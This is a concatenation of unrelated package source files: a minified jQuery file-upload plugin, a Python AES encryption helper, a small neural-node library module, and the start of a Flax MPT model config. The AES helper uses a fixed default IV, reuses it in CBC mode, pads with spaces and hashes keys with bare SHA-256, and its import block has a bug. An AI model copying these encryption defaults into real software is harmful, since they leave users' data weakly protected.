b,_=r.$errorContainer,C=r.fileManager;if(w>=u)return r.unlock(),r.duplicateErrors.length&&(b="<li>"+r.duplicateErrors.join("</li><li>")+"</li>",0===_.find("ul").length?t.setHtml(_,r.errorCloseButton+"<ul>"+b+"</ul>"):_.find("ul").append(b),_.fadeIn(r.fadeDelay),r._handler(_.find(".kv-error-close"),"click",function(){_.fadeOut(r.fadeDelay)}),r.duplicateErrors=[]),r.isAjaxUpload?(r._raise("filebatchselected",[C.stack]),0!==C.count()||r.isError||r.reset()):r._raise("filebatchselected",[i]),o.removeClass("file-thumb-loading"),r._initCapStatus("valid"),void s.html("");r.lock(!0);var x,y,T,P,F,k,S,E,I,A,D,z,$=i[w],j=r._getFileId($),U=c+"-"+j,M=p.image,R=r._getFileName($,""),O=($&&$.size||0)/1e3,B="",L=t.createObjectURL($),N=0,Z="",H=!1,W=0,q=function(){var e=!!C.loadedImages[j],t=d.setTokens({index:w+1,files:u,percent:50,name:R});setTimeout(function(){s.html(t),r._updateFileDetails(u),a(w+1)},r.processDelay),r._raise("fileloaded",[$,U,j,w,n])&&r.isAjaxUpload?e||C.add($):e&&C.removeFile(j)};if($){if(E=C.getId($),g>0)for(y=0;g>y;y++)k=f[y],S=r.msgFileTypes[k]||k,Z+=0===y?S:", "+S;if(R===!1)return void a(w+1);if(0===R.length)return T=r.msgInvalidFileName.replace("{name}",t.htmlEncode(t.getFileName($),"[unknown]")),void h(T,$,U,w,E);if(t.isEmpty(m)||(B=new RegExp("\\.("+m.join("|")+")$","i")),x=O.toFixed(2),r.isAjaxUpload&&C.exists(E)||r._getFrame(U,!0).length){var V={id:U,index:w,fileId:E,file:$,files:i};return T=r.msgDuplicateFile.setTokens({name:R,size:x}),void(r.isAjaxUpload?(r.duplicateErrors.push(T),r.isDuplicateError=!0,r._raise("fileduplicateerror",[$,E,R,x,U,w]),a(w+1),r._updateFileDetails(u)):(r._showError(T,V),r.unlock(),u=0,r._clearFileInput(),r.reset(),r._updateFileDetails(u)))}if(r.maxFileSize>0&&O>r.maxFileSize)return T=r.msgSizeTooLarge.setTokens({name:R,size:x,maxSize:r.maxFileSize}),void h(T,$,U,w,E);if(null!==r.minFileSize&&O<=t.getNum(r.minFileSize))return T=r.msgSizeTooSmall.setTokens({name:R,size:x,minSize:r.minFileSize}),void h(T,$,U,w,E);if(!t.isEmpty(f)&&t.isArray(f)){for(y=0;y<f.length;y+=1)P=f[y],A=p[P],N+=A&&"function"==typeof A&&A($.type,t.getFileName($))?1:0;if(0===N)return T=r.msgInvalidFileType.setTokens({name:R,types:Z}),void h(T,$,U,w,E)}if(0===N&&!t.isEmpty(m)&&t.isArray(m)&&!t.isEmpty(B)&&(F=t.compare(R,B),N+=t.isEmpty(F)?0:F.length,0===N))return T=r.msgInvalidFileExtension.setTokens({name:R,extensions:v}),void h(T,$,U,w,E);if(!r._canPreview($))return I=r.isAjaxUpload&&r._raise("filebeforeload",[$,w,n]),r.isAjaxUpload&&I&&C.add($),r.showPreview&&I&&(o.addClass("file-thumb-loading"),r._initCapStatus("processing"),r._previewDefault($),r._initFileActions()),void setTimeout(function(){I&&r._updateFileDetails(u),a(w+1),r._raise("fileloaded",[$,U,j,w])},10);D=M($.type,R),s.html(l.replace("{index}",w+1).replace("{files}",u)),o.addClass("file-thumb-loading"),r._initCapStatus("processing"),n.onerror=function(e){r._errorHandler(e,R)},n.onload=function(i){var a,l,d,c,u,f,g=[],m=function(){var e=new FileReader;e.onerror=function(e){r._errorHandler(e,R)},e.onload=function(e){return r.isAjaxUpload&&!r._raise("filebeforeload",[$,w,n])?(H=!0,r._resetCaption(),n.abort(),s.html(""),o.removeClass("file-thumb-loading"),r._initCapStatus("valid"),void r.enable()):(r._previewFile(w,$,e,L,l),r._initFileActions(),void q())},e.readAsDataURL($)};if(l={name:R,type:$.type},e.each(p,function(e,t){"object"!==e&&"other"!==e&&"function"==typeof t&&t($.type,R)&&W++}),0===W){for(d=new Uint8Array(i.target.result),y=0;y<d.length;y++)c=d[y].toString(16),g.push(c);if(a=g.join("").toLowerCase().substring(0,8),f=t.getMimeType(a,"",""),t.isEmpty(f)&&(u=t.arrayBuffer2String(n.result),f=t.isSvg(u)?"image/svg+xml":t.getMimeType(a,u,$.type)),l={name:R,type:f},D=M(f,""))return void m(z)}return r.isAjaxUpload&&!r._raise("filebeforeload",[$,w,n])?(H=!0,r._resetCaption(),n.abort(),s.html(""),o.removeClass("file-thumb-loading"),r._initCapStatus("valid"),void r.enable()):(r._previewFile(w,$,i,L,l),r._initFileActions(),void q())},n.onprogress=function(e){if(e.lengthComputable){var t=e.loaded/e.total*100,i=Math.ceil(t);T=d.setTokens({index:w+1,files:u,percent:i,name:R}),setTimeout(function(){H||s.html(T)},r.processDelay)}},D?n.readAsDataURL($):n.readAsArrayBuffer($)}},a(0),r._updateFileDetails(u,!0)},lock:function(e){var t=this,i=t.$container;return t._resetErrors(),t.disable(),!e&&t.showCancel&&i.find(".fileinput-cancel").show(),!e&&t.showPause&&i.find(".fileinput-pause").show(),t._initCapStatus("processing"),t._raise("filelock",[t.fileManager.stack,t._getExtraData()]),t.$element},unlock:function(e){var t=this,i=t.$container;return void 0===e&&(e=!0),t.enable(),i.removeClass("is-locked"),t.showCancel&&i.find(".fileinput-cancel").hide(),t.showPause&&i.find(".fileinput-pause").hide(),e&&t._resetFileStack(),t._initCapStatus(),t._raise("fileunlock",[t.fileManager.stack,t._getExtraData()]),t.$element},resume:function(){var e=this,t=e.fileManager,i=!1,a=e.resumableManager;return t.bpsLog=[],t.bps=0,e.enableResumableUpload?(e.paused?e._toggleResumableProgress(e.progressPauseTemplate,e.msgUploadResume):i=!0,e.paused=!1,i&&e._toggleResumableProgress(e.progressInfoTemplate,e.msgUploadBegin),setTimeout(function(){a.upload()},e.processDelay),e.$element):e.$element},paste:function(e){var t=this,i=e.originalEvent,a=i.clipboardData&&i.clipboardData.files||null;return a&&t._dropFiles(e,a),t.$element},pause:function(){var t,i=this,a=i.resumableManager,r=i.ajaxRequests,n=r.length,o=a.getProgress(),s=i.fileActionSettings,l=i.taskManager,d=l.getPool(a.id);if(!i.enableResumableUpload)return i.$element;if(d&&d.cancel(),i._raise("fileuploadpaused",[i.fileManager,a]),n>0)for(t=0;n>t;t+=1)i.paused=!0,r[t].abort();return i.showPreview&&i._getThumbs().each(function(){var t,a=e(this),r=i._getLayoutTemplate("stats"),n=a.find(".file-upload-indicator");a.removeClass("file-uploading"),n.attr("title")===s.indicatorLoadingTitle&&(i._setThumbStatus(a,"Paused"),t=r.setTokens({pendingTime:i.msgPaused,uploadSpeed:""}),i.paused=!0,i._setProgress(o,a.find(".file-thumb-progress"),o+"%",t)),i._getThumbFile(a)||a.find(".kv-file-remove").removeClass("disabled").removeAttr("disabled")}),i._setProgress(101,i.$progress,i.msgPaused),i.$element},cancel:function(){var t,i=this,a=i.ajaxRequests,r=i.resumableManager,n=i.taskManager,o=r?n.getPool(r.id):void 0,s=a.length;if(i.enableResumableUpload&&o?(o.cancel().done(function(){i._setProgressCancelled()}),r.reset(),i._raise("fileuploadcancelled",[i.fileManager,r])):i._raise("fileuploadcancelled",[i.fileManager]),i._initAjax(),s>0)for(t=0;s>t;t+=1)i.cancelling=!0,a[t].abort();return i._getThumbs().each(function(){var t=e(this),a=t.find(".file-thumb-progress");t.removeClass("file-uploading"),i._setProgress(0,a),a.hide(),i._getThumbFile(t)||(t.find(".kv-file-upload").removeClass("disabled").removeAttr("disabled"),t.find(".kv-file-remove").removeClass("disabled").removeAttr("disabled")),i.unlock()}),setTimeout(function(){i._setProgressCancelled()},i.processDelay),i.$element},clear:function(){var i,a=this;if(a._raise("fileclear"))return a.$btnUpload.removeAttr("disabled"),a._getThumbs().find("video,audio,img").each(function(){t.cleanMemory(e(this))}),a._clearFileInput(),a._resetUpload(),a.clearFileStack(),a.isDuplicateError=!1,a.isPersistentError=!1,a._resetErrors(!0),a._hasInitialPreview()?(a._showFileIcon(),a._resetPreview(),a._initPreviewActions(),a.$container.removeClass("file-input-new")):(a._getThumbs().each(function(){a._clearObjects(e(this))}),a.isAjaxUpload&&(a.previewCache.data={}),a.$preview.html(""),i=!a.overwriteInitial&&a.initialCaption.length>0?a.initialCaption:"",a.$caption.attr("title","").val(i),t.addCss(a.$container,"file-input-new"),a._validateDefaultPreview()),0===a.$container.find(t.FRAMES).length&&(a._initCaption()||a.$captionContainer.removeClass("icon-visible")),a._hideFileIcon(),a.focusCaptionOnClear&&a.$captionContainer.focus(),a._setFileDropZoneTitle(),a._raise("filecleared"),a.$element},reset:function(){var e=this;if(e._raise("filereset"))return e.lastProgress=0,e._resetPreview(),e.$container.find(".fileinput-filename").text(""),t.addCss(e.$container,"file-input-new"),e.getFrames().length&&e.$container.removeClass("file-input-new"),e.clearFileStack(),e._setFileDropZoneTitle(),e.$element},disable:function(){var e=this,i=e.$container;return e.isDisabled=!0,e._raise("filedisabled"),e.$element.attr("disabled","disabled"),i.addClass("is-locked"),t.addCss(i.find(".btn-file"),"disabled"),i.find(".kv-fileinput-caption").addClass("file-caption-disabled"),i.find(".fileinput-remove, .fileinput-upload, .file-preview-frame button").attr("disabled",!0),e._initDragDrop(),e.$element},enable:function(){var e=this,t=e.$container;return e.isDisabled=!1,e._raise("fileenabled"),e.$element.removeAttr("disabled"),t.removeClass("is-locked"),t.find(".kv-fileinput-caption").removeClass("file-caption-disabled"),t.find(".fileinput-remove, .fileinput-upload, .file-preview-frame button").removeAttr("disabled"),t.find(".btn-file").removeClass("disabled"),e._initDragDrop(),e.$element},upload:function(){var i,a,r=this,n=r.fileManager,o=n.count(),s=!e.isEmptyObject(r._getExtraData());return n.bpsLog=[],n.bps=0,r.isAjaxUpload&&!r.isDisabled&&r._isFileSelectionValid(o)?(r.lastProgress=0,r._resetUpload(),0!==o||s?(r.cancelling=!1,r._showProgress(),r.lock(),0===o&&s?(r._setProgress(2),void r._uploadExtraOnly()):r.enableResumableUpload?r.resume():((r.uploadAsync||r.enableResumableUpload)&&(a=r._getOutData(null),r._raise("filebatchpreupload",[a]),r.fileBatchCompleted=!1,r.uploadCache=[],e.each(r.getFileStack(),function(e){var t=r._getThumbId(e);r.uploadCache.push({id:t,content:null,config:null,tags:null,append:!0})}),r.$preview.find(".file-preview-initial").removeClass(t.SORT_CSS),r._initSortable()),r._setProgress(2),r.hasInitData=!1,r.uploadAsync?(i=0,void e.each(r.getFileStack(),function(e){r._uploadSingle(i,e,!0),i++})):(r._uploadBatch(),r.$element))):void r._showFileError(r.msgUploadEmpty)):void 0},destroy:function(){var t=this,i=t.$form,a=t.$container,r=t.$element,n=t.namespace;return e(document).off(n),e(window).off(n),i&&i.length&&i.off(n),t.isAjaxUpload&&t._clearFileInput(),t._cleanup(),t._initPreviewCache(),r.insertBefore(a).off(n).removeData(),a.off().remove(),r},refresh:function(i){var a=this,r=a.$element;return i="object"!=typeof i||t.isEmpty(i)?a.options:e.extend(!0,{},a.options,i),a._init(i,!0),a._listen(),r},zoom:function(e){var t=this,i=t._getFrame(e);t._showModal(i)},getExif:function(e){var t=this,i=t._getFrame(e);return i&&i.data("exif")||null},getFrames:function(i){var a,r=this;return i=i||"",a=r.$preview.find(t.FRAMES+i),r.reversePreviewOrder&&(a=e(a.get().reverse())),a},getPreview:function(){var e=this;return{content:e.initialPreview,config:e.initialPreviewConfig,tags:e.initialPreviewThumbTags}}},e.fn.fileinput=function(a){if(t.hasFileAPISupport()||t.isIE(9)){var r=Array.apply(null,arguments),n=[];switch(r.shift(),this.each(function(){var o,s=e(this),l=s.data("fileinput"),d="object"==typeof a&&a,c=d.theme||s.data("theme"),u={},p={},f=d.language||s.data("language")||e.fn.fileinput.defaults.language||"en";l||(c&&(p=e.fn.fileinputThemes[c]||{}),"en"===f||t.isEmpty(e.fn.fileinputLocales[f])||(u=e.fn.fileinputLocales[f]||{}),o=e.extend(!0,{},e.fn.fileinput.defaults,p,e.fn.fileinputLocales.en,u,d,s.data()),l=new i(this,o),s.data("fileinput",l)),"string"==typeof a&&n.push(l[a].apply(l,r))}),n.length){case 0:return this;case 1:return n[0];default:return n}}};var a='class="kv-preview-data file-preview-pdf" src="{renderer}?file={data}" {style}',r="btn btn-sm btn-kv "+t.defaultButtonCss(),n="btn "+t.defaultButtonCss(!0);e.fn.fileinput.defaults={language:"en",showCaption:!0,showBrowse:!0,showPreview:!0,showRemove:!0,showUpload:!0,showUploadStats:!0,showCancel:null,showPause:null,showClose:!0,showUploadedThumbs:!0,showConsoleLogs:!1,browseOnZoneClick:!1,autoReplace:!1,autoOrientImage:function(){var e=window.navigator.userAgent,t=!!e.match(/WebKit/i),i=!!e.match(/iP(od|ad|hone)/i),a=i&&t&&!e.match(/CriOS/i);return!a},autoOrientImageInitial:!0,required:!1,rtl:!1,hideThumbnailContent:!1,encodeUrl:!0,focusCaptionOnBrowse:!0,focusCaptionOnClear:!0,generateFileId:null,previewClass:"",captionClass:"",frameClass:"krajee-default",mainClass:"",mainTemplate:null,fileSizeGetter:null,initialCaption:"",initialPreview:[],initialPreviewDelimiter:"*$$*",initialPreviewAsData:!1,initialPreviewFileType:"image",initialPreviewConfig:[],initialPreviewThumbTags:[],previewThumbTags:{},initialPreviewShowDelete:!0,initialPreviewDownloadUrl:"",removeFromPreviewOnError:!1,deleteUrl:"",deleteExtraData:{},overwriteInitial:!0,sanitizeZoomCache:function(e){var i=t.createElement(e);return i.find("input,textarea,select,datalist,form,.file-thumbnail-footer").remove(),i.html()},previewZoomButtonIcons:{prev:'<i class="bi-caret-left-fill"></i>',next:'<i class="bi-caret-right-fill"></i>',toggleheader:'<i class="bi-arrows-expand"></i>',fullscreen:'<i class="bi-arrows-fullscreen"></i>',borderless:'<i class="bi-arrows-angle-expand"></i>',close:'<i class="bi-x-lg"></i>'},previewZoomButtonClasses:{prev:"btn btn-navigate",next:"btn btn-navigate",toggleheader:r,fullscreen:r,borderless:r,close:r},previewTemplates:{},previewContentTemplates:{},preferIconicPreview:!1,preferIconicZoomPreview:!1,allowedFileTypes:null,allowedFileExtensions:null,allowedPreviewTypes:void 0,allowedPreviewMimeTypes:null,allowedPreviewExtensions:null,disabledPreviewTypes:void 0,disabledPreviewExtensions:["msi","exe","com","zip","rar","app","vb","scr"],disabledPreviewMimeTypes:null,defaultPreviewContent:null,customLayoutTags:{},customPreviewTags:{},previewFileIcon:'<i class="bi-file-earmark-fill"></i>',previewFileIconClass:"file-other-icon",previewFileIconSettings:{},previewFileExtSettings:{},buttonLabelClass:"hidden-xs",browseIcon:'<i class="bi-folder2-open"></i> ',browseClass:"btn btn-primary",removeIcon:'<i class="bi-trash"></i>',removeClass:n,cancelIcon:'<i class="bi-slash-circle"></i>',cancelClass:n,pauseIcon:'<i class="bi-pause-fill"></i>',pauseClass:n,uploadIcon:'<i class="bi-upload"></i>',uploadClass:n,uploadUrl:null,uploadUrlThumb:null,uploadAsync:!0,uploadParamNames:{chunkCount:"chunkCount",chunkIndex:"chunkIndex",chunkSize:"chunkSize",chunkSizeStart:"chunkSizeStart",chunksUploaded:"chunksUploaded",fileBlob:"fileBlob",fileId:"fileId",fileName:"fileName",fileRelativePath:"fileRelativePath",fileSize:"fileSize",retryCount:"retryCount"},maxAjaxThreads:5,fadeDelay:800,processDelay:100,bitrateUpdateDelay:500,queueDelay:10,progressDelay:0,enableResumableUpload:!1,resumableUploadOptions:{fallback:null,testUrl:null,chunkSize:2048,maxThreads:4,maxRetries:3,showErrorLog:!0,retainErrorHistory:!0,skipErrorsAndProceed:!1},uploadExtraData:{},zoomModalHeight:480,minImageWidth:null,minImageHeight:null,maxImageWidth:null,maxImageHeight:null,resizeImage:!1,resizePreference:"width",resizeQuality:.92,resizeDefaultImageType:"image/jpeg",resizeIfSizeMoreThan:0,minFileSize:-1,maxFileSize:0,maxFilePreviewSize:25600,minFileCount:0,maxFileCount:0,maxTotalFileCount:0,validateInitialCount:!1,msgValidationErrorClass:"text-danger",msgValidationErrorIcon:'<i class="bi-exclamation-circle-fill"></i> ',msgErrorClass:"file-error-message",progressThumbClass:"progress-bar progress-bar-striped active progress-bar-animated",progressClass:"progress-bar bg-success progress-bar-success progress-bar-striped active progress-bar-animated",progressInfoClass:"progress-bar bg-info progress-bar-info progress-bar-striped active progress-bar-animated",progressCompleteClass:"progress-bar bg-success progress-bar-success",progressPauseClass:"progress-bar bg-primary progress-bar-primary progress-bar-striped active progress-bar-animated",progressErrorClass:"progress-bar bg-danger progress-bar-danger",progressUploadThreshold:99,previewFileType:"image",elCaptionContainer:null,elCaptionText:null,elPreviewContainer:null,elPreviewImage:null,elPreviewStatus:null,elErrorContainer:null,errorCloseButton:void 0,slugCallback:null,dropZoneEnabled:!0,dropZoneTitleClass:"file-drop-zone-title",fileActionSettings:{},otherActionButtons:"",textEncoding:"UTF-8",preProcessUpload:null,ajaxSettings:{},ajaxDeleteSettings:{},showAjaxErrorDetails:!0,mergeAjaxCallbacks:!1,mergeAjaxDeleteCallbacks:!1,retryErrorUploads:!0,reversePreviewOrder:!1,usePdfRenderer:function(){var e=!!window.MSInputMethodContext&&!!document.documentMode;return!!navigator.userAgent.match(/(iPod|iPhone|iPad|Android)/i)||e},pdfRendererUrl:"",pdfRendererTemplate:"<iframe "+a+"></iframe>",tabIndexConfig:{browse:500,remove:500,upload:500,cancel:null,pause:null,modal:-1}},e.fn.fileinputLocales.en={fileSingle:"file",filePlural:"files",browseLabel:"Browse &hellip;",removeLabel:"Remove",removeTitle:"Clear all unprocessed files",cancelLabel:"Cancel",cancelTitle:"Abort ongoing upload",pauseLabel:"Pause",pauseTitle:"Pause ongoing upload",uploadLabel:"Upload",uploadTitle:"Upload selected files",msgNo:"No",msgNoFilesSelected:"No files selected",msgCancelled:"Cancelled",msgPaused:"Paused",msgPlaceholder:"Select {files} ...",msgZoomModalHeading:"Detailed Preview",msgFileRequired:"You must select a file to upload.",msgSizeTooSmall:'File "{name}" (<b>{size} KB</b>) is too small and must be larger than <b>{minSize} KB</b>.',msgSizeTooLarge:'File "{name}" (<b>{size} KB</b>) exceeds maximum allowed upload size of <b>{maxSize} KB</b>.',msgFilesTooLess:"You must select at least <b>{n}</b> {files} to upload.",msgFilesTooMany:"Number of files selected for upload <b>({n})</b> exceeds maximum allowed limit of <b>{m}</b>.",msgTotalFilesTooMany:"You can upload a maximum of <b>{m}</b> files (<b>{n}</b> files detected).",msgFileNotFound:'File "{name}" not found!',msgFileSecured:'Security restrictions prevent reading the file "{name}".',msgFileNotReadable:'File "{name}" is not readable.',msgFilePreviewAborted:'File preview aborted for "{name}".',msgFilePreviewError:'An error occurred while reading the file "{name}".',msgInvalidFileName:'Invalid or unsupported characters in file name "{name}".',msgInvalidFileType:'Invalid type for file "{name}". Only "{types}" files are supported.',msgInvalidFileExtension:'Invalid extension for file "{name}". Only "{extensions}" files are supported.',msgFileTypes:{image:"image",html:"HTML",text:"text",video:"video",audio:"audio",flash:"flash",pdf:"PDF",object:"object"},msgUploadAborted:"The file upload was aborted",msgUploadThreshold:"Processing &hellip;",msgUploadBegin:"Initializing &hellip;",msgUploadEnd:"Done",msgUploadResume:"Resuming upload &hellip;",msgUploadEmpty:"No valid data available for upload.",msgUploadError:"Upload Error",msgDeleteError:"Delete Error",msgProgressError:"Error",msgValidationError:"Validation Error",msgLoading:"Loading file {index} of {files} &hellip;",msgProgress:"Loading file {index} of {files} - {name} - {percent}% completed.",msgSelected:"{n} {files} selected",msgProcessing:"Processing ...",msgFoldersNotAllowed:"Drag & drop files only! {n} folder(s) dropped were skipped.",msgImageWidthSmall:'Width of image file "{name}" must be at least {size} px.',msgImageHeightSmall:'Height of image file "{name}" must be at least {size} px.',msgImageWidthLarge:'Width of image file "{name}" cannot exceed {size} px.',msgImageHeightLarge:'Height of image file "{name}" cannot exceed {size} px.',msgImageResizeError:"Could not get the image dimensions to resize.",msgImageResizeException:"Error while resizing the image.<pre>{errors}</pre>",msgAjaxError:"Something went wrong with the {operation} operation. Please try again later!",msgAjaxProgressError:"{operation} failed",msgDuplicateFile:'File "{name}" of same size "{size} KB" has already been selected earlier. Skipping duplicate selection.',msgResumableUploadRetriesExceeded:"Upload aborted beyond <b>{max}</b> retries for file <b>{file}</b>! Error Details: <pre>{error}</pre>",msgPendingTime:"{time} remaining",msgCalculatingTime:"calculating time remaining",ajaxOperations:{deleteThumb:"file delete",uploadThumb:"file upload",uploadBatch:"batch file upload",uploadExtra:"form data upload"},dropZoneTitle:"Drag & drop files here &hellip;",dropZoneClickTitle:"<br>(or click to select {files})",previewZoomButtonTitles:{prev:"View previous file",next:"View next file",toggleheader:"Toggle header",fullscreen:"Toggle full screen",borderless:"Toggle borderless mode",close:"Close detailed preview"}},e.fn.fileinput.Constructor=i,e(document).ready(function(){var t=e("input.file[type=file]");t.length&&t.fileinput()})});
PypiClean
/AES_Encryptor-2.0-py3-none-any.whl/Encryptor/__init__.py
try: from Crypto.Cipher import AES except ImportError: print("Pycryptodome Is Not Found On This Computer\n" "Please Install using pip [ pip install pycryptodome ]") sys.exit(1) import os, sys from hashlib import sha256 class AES_Encryption: """ The Advanced Encryption Standard (AES) is a symmetric block cipher chosen by the U.S. government to protect classified information. AES is implemented in software and hardware throughout the world to encrypt sensitive data. It is essential for government computer security, cybersecurity and electronic data protection. Please Refer To The https://github.com/pmk456/AES-Encryptor README.md For Perfectly Using This Package """ def __init__(self, key, iv="THIS IS IV 45600", mode=AES.MODE_CBC): """ Constructor For This Class :param key: Key Must be string which will used to encrypt the strings or files :param iv: initializing vector which is used to randomize the encrypted data, This Must Be 16 Bytes Long, default=THIS IS IV 45600 :param mode: mode for encrytping data, default=MODE_CBC """ if len(iv) < 16 or len(iv) > 16: print("Incorrect IV Length (It Must Be 16 Bytes Long)") sys.exit(1) if not isinstance(key, str): print("Key Must Be String") sys.exit(1) if not isinstance(iv, str): print("IV Must Be String") sys.exit(1) self.key = sha256(key.encode()).digest() self.IV = iv.encode() self.mode = mode def pad(self, data): """ This Function Is Created For Padding Messages into multiple of 16 :param data: Data which is not a multiple of 16 :return: returns encoded string and make it multiple of 16 """ while len(data) % 16 != 0: data = data + ' ' return data.encode() def encrypt(self, message): """ Used To Encrypt Strings :param message: String Which Want To Be Encrypted :return: Encrypted Data Of The String Which Will Be In Bytes """ if not isinstance(message, str): return "Encrypt Function Only Accepts Strings" try: cipher = AES.new(key=self.key, mode=self.mode, iv=self.IV) encrypted_msg = cipher.encrypt(self.pad(message)) except Exception: return "Failed To Encrypt String" else: return encrypted_msg def decrypt(self, data): """ Used To Decrypt Data Given :param data: data which is encrypted with the same given key :return: Plain string """ if not isinstance(data, bytes): return "Decrypt Function Only Accepts Bytes" try: cipher = AES.new(key=self.key, mode=self.mode, iv=self.IV) decrypted_data = cipher.decrypt(data) except Exception: return "Failed To Decrypt String Please Check The Key And IV\n" \ "Please Re-Verify The Given Data, Data May Be Changed\n" \ "Data Bytes Must Be Multiple Of 16" else: return decrypted_data.decode().rstrip() def file_encrypt(self, path): """ Used To Encrypt The File :param path: Path Of The File Note: If You are using windows please put [ \\ ] :return: Encrypted File In the same given path with the same name but with extension .enc """ if not os.path.exists(path): print("Path not exists") if sys.platform == 'win32': print(r"Note: If You are using windows please put[ \\ ]\n" r"Example: C:\\Windows\\System32\\File.txt") sys.exit(1) try: cipher = AES.new(key=self.key, mode=self.mode, iv=self.IV) with open(path) as file: data = self.pad(file.read()) encrypted_data = cipher.encrypt(data) new = path + '.enc' with open(new, 'wb') as file: file.write(encrypted_data) except Exception: return '''Something Went Wrong During Encryption Of The File''' else: return '''File Successfully Encrypted With Given Key''' def file_decrypt(self, path): """ Used To Decrypt The File :param path: Path Of The File Note: If You are using windows please put [ \\ ] Example: C:\\Windows\\System32\\File.txt :return: Decrypted File With Removed .enc extension In the same given path """ if not isinstance(path, str): print("Path Must Be String") if not os.path.exists(path): print("Path not exists") if sys.platform == 'win32': print(r"Note: If You are using windows please put[ \\ ]\n" r"Example: C:\\Windows\\System32\\File.txt") sys.exit(1) try: cipher = AES.new(key=self.key, mode=self.mode, iv=self.IV) with open(path, 'rb') as file: data = file.read() decrypted_data = cipher.decrypt(data) new = path.replace('.enc', '') with open(new, 'wb') as file: file.write(decrypted_data) except Exception: return '''Something Went Wrong During Decryption Of The File, Please Cross Check Key And IV''' else: return '''File Successfully Decrypted With Given Key'''
PypiClean
/Nodes-1.2.tar.gz/Nodes-1.2/nodes/basic.py
# Copyright (c) Alexander Sedov 2008 # This file is part of Nodes. # # Nodes is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Nodes is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Nodes. If not, see <http://www.gnu.org/licenses/>. """Basic Node types.""" from core import Node, Stop, array #Neuron-likes class GeneralizedNeuron(Node): __shape__=['', None], ['', None] def calculate(self): x=sum(self.input)/self.iN self.output[:]=x #and no sigmoids! def calc_drv(self, value): return 1/self.iN class StandardNeuron(GeneralizedNeuron): __shape__=['', None], [''] class DistributorNeuron(GeneralizedNeuron): __shape__=[''], ['', None] #Memory class InputMemory(Node): __shape__=[], [None] def init_prepare(self): Node.init_prepare(self) self.common_weight=1 def set(self, value): self.value=value def calculate(self): self.output[:]=(self.value*self.common_weight) def back_propagation(self, targets): assert len(targets)==self.oN targets=array(targets) delta=(targets-self.ovalues)/self.output_weights*self.common_weight self.common_weight+=(sum(delta)*self.value)*self.velocity class OutputMemory(Node): __shape__=[None], [] def init_prepare(self): Node.init_prepare(self) self.common_weight=1 def get(self): return self.value def calculate(self): self.value=(sum(self.input)/self.iN)*self.common_weight def check_sufficient(self, getted, values): return True def back_propagation(self, target): try: target=target[0] except (IndexError, TypeError): pass d=(target-self.value)*self.common_weight self.input_weights+=(d*self.ivalues)*self.velocity map(lambda x, y: x.back_propagate(d*y), self.inputs, self.input_weights) class AssociativeMemory(Node): __shape__=['control', 'key'], ['value'] def init_prepare(self): Node.init_prepare(self) self.key=self.value=0 def check_sufficient(self, getted, values): return getted[1] or (getted[0] and round(values[0])==self.key) def calculate(self): if self.input[1]: self.value=self.input[1] raise Stop elif round(self.input[0])==self.key: self.output[0]=self.value else: raise Stop def set(self, key, value=0): self.key=key self.value=value def __getstate_extra__(self): return self.key, self.value def __setstate_extra__(self, state): self.key, self.value=state
PypiClean
/EasyDeL-0.0.29-py3-none-any.whl/EasyDel/modules/mosaic_mpt/modelling_mpt_flax.py
import math import einops from flax import linen as nn from flax.serialization import to_bytes, from_bytes, to_state_dict, from_state_dict from jax import grad, jit from flax.core import FrozenDict from typing import Optional, Dict, Union, Tuple from transformers import FlaxPreTrainedModel, PretrainedConfig from jax import numpy as jnp import jax from jax.interpreters import pxla from jax.experimental.pjit import pjit, with_sharding_constraint as wsc from jax.sharding import PartitionSpec from transformers.modeling_flax_outputs import FlaxCausalLMOutput, FlaxBaseModelOutput from jax.random import split, PRNGKey from functools import partial import flax from einops import rearrange from fjutils.flash_attention import dot_product_attention_multihead ACT2FN = { "gelu": partial(nn.gelu, approximate=False), "relu": nn.relu, "silu": nn.swish, "swish": nn.swish, "gelu_new": partial(nn.gelu, approximate=True), } def get_names_from_parition_spec(partition_specs): names = set() if isinstance(partition_specs, dict): partition_specs = partition_specs.values() for item in partition_specs: if item is None: continue elif isinstance(item, str): names.add(item) else: names.update(get_names_from_parition_spec(item)) return list(names) def names_in_mesh(*names): return set(names) <= set(pxla.thread_resources.env.physical_mesh.axis_names) def with_sharding_constraint(x, partition_specs): axis_names = get_names_from_parition_spec(partition_specs) if names_in_mesh(*axis_names): x = wsc(x, partition_specs) return x class MptConfig(PretrainedConfig): model_type = 'mpt' def __init__(self, d_model: int = 2048, n_heads: int = 16, n_layers: int = 24, expansion_ratio: int = 4, max_seq_len: int = 2048, vocab_size: int = 50368, resid_prob_drop: float = 0.0, emb_prob_drop: float = 0.0, alibi: bool = True, use_bias: bool = True, learned_pos_emb: bool = True, act_fn: str = 'gelu', logit_scale: Optional[Union[float, str]] = None, no_bias: bool = False, verbose: int = 0, embedding_fraction: float = 1.0, use_cache: bool = False, qk_ln: bool = True, use_lm_head: bool = False, use_norm_bias: bool = False, gradient_checkpointing: str = 'nothing_saveable', use_pjit_attention_force: bool = False, use_flash_attention: bool = False, flash_attn_query_chunk_size=1024, flash_attn_key_chunk_size=2048, **kwargs): self.d_model = d_model self.use_norm_bias = use_norm_bias self.use_lm_head = use_lm_head self.n_heads = n_heads self.n_layers = n_layers self.expansion_ratio = expansion_ratio self.max_seq_len = max_seq_len self.vocab_size = vocab_size self.resid_prob_drop = resid_prob_drop self.use_bias = use_bias self.emb_prob_drop = emb_prob_drop self.use_pjit_attention_force = use_pjit_attention_force self.gradient_checkpointing = gradient_checkpointing self.learned_pos_emb = learned_pos_emb self.act_fn = act_fn self.logit_scale = logit_scale self.no_bias = no_bias self.qk_ln = qk_ln self.alibi = alibi self.verbose = verbose self.embedding_fraction = embedding_fraction self.use_cache = use_cache self.use_flash_attention = use_flash_attention self.flash_attn_key_chunk_size = flash_attn_key_chunk_size self.flash_attn_query_chunk_size = flash_attn_query_chunk_size if 'name' in kwargs: del kwargs['name'] if 'loss_fn' in kwargs: del kwargs['loss_fn'] super().__init__(**kwargs) @staticmethod def _set_config_defaults(config, config_defaults): for (k, v) in config_defaults.items(): if k not in config: config[k] = v return config @staticmethod def get_partition_rules(fully_fsdp: bool = False): return ( ("transformer/wte/embedding", PartitionSpec("dp", "fsdp")), ("transformer/wpe/embedding", PartitionSpec("dp", "fsdp")), 